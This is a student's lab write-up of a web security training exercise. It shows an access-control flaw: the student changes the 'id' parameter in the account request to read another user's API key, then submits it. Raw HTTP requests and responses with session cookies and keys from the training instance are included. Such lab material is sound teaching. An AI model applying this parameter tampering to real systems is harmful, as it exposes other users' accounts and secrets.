

Access Control Vulnerabilities And Privilege Escalation Lab – 07

User ID Controlled By Request Parameter

M.Gobi Shankar
CB.SC.P2CYS23019

Log in using the supplied credentials and go to your account page. Note that the URL contains your username in the "id" parameter. Send the request to Burp Repeater.



User ID controlled by request parameter

LAB Not solved



Submit solution

Back to lab description >>

[Home](#) | [My account](#) | [Log out](#)

My Account

Your username is: wiener

Your API Key is: 57EZ5V4wSt8gd3Wu4boff0tBXdrbCFfM

Email

Update email

Change the "id" parameter to carlos. Retrieve and submit the API key for carlos.

Request

PrettyRawHex

```
1 GET /my-account?id=carlos HTTP/2
2 Host: 0ae6006203f14d38830ca6db003400f5.web-security-academy.net
3 Cookie: session=zjs0Po03RFTeqCe9lg0NtjDw6iFFXscm
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate
8 Referer: https://0ae6006203f14d38830ca6db003400f5.web-security-academy.net/login
9 Upgrade-Insecure-Requests: 1
10 Sec-Fetch-Dest: document
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-User: ?1
14 Te: trailers
15
16
```

Response

PrettyRawHexRender

```
50 </a>
51 <p>
52 |
53 <a href="/logout">
54 Log out
55 </a>
56 </p>
57 </div>
58 </section>
59 </header>
60 <header class="notification-header">
61 </header>
62 <h1>
63 My Account
64 </h1>
65 <div id="account-content">
66 <p>
67 Your username is: carlos
68 </p>
69 <div>
70 Your API Key is: IMHDarxpjzTyDBBP5zYhcbsJobsrtnA41
71 </div>
72 </div>
73 <br>
74 <form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
75 Email
76 <label>
77 <input required type="email" name="email" value="">
78 </input>
79 <input required type="hidden" name="csrf" value="uVUgw80bCnAhgspH0p0prsy5LCBabLHx">
80 </input>
81 <button class="button" type="submit">
82 Update email
83 </button>
84 </form>
85
```

PrettyRawHex

```
1 POST /submitSolution HTTP/2
2 Host: 0ae6006203f14d38830ca6db003400f5.web-security-academy.net
3 Cookie: session=zjs0Po03RFTeqCe9lg0NtjDw6iFFXscm
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
5 Accept: */*
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate
8 Content-Type: application/x-www-form-urlencoded
9 Content-Length: 39
10 Origin: https://0ae6006203f14d38830ca6db003400f5.web-security-academy.net
11 Referer: https://0ae6006203f14d38830ca6db003400f5.web-security-academy.net/my-account?id=wiener
12 Sec-Fetch-Dest: empty
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Site: same-origin
15 Te: trailers
16
17 answer=IMHDarxpjzTyDBBP5zYhcbsJobsrtnA41
```

Lab Completed Successfully.



User ID controlled by request parameter

[Back to lab description >>](#)



Congratulations, you solved the lab!

Share your skills!



[Continue learning >>](#)

[Home](#) | [My account](#) | [Log out](#)

My Account

Your username is: wiener

Your API Key is: 57EZ5V4wSt8gd3Wu4boff0tBXdrbCFfM

Email

Update email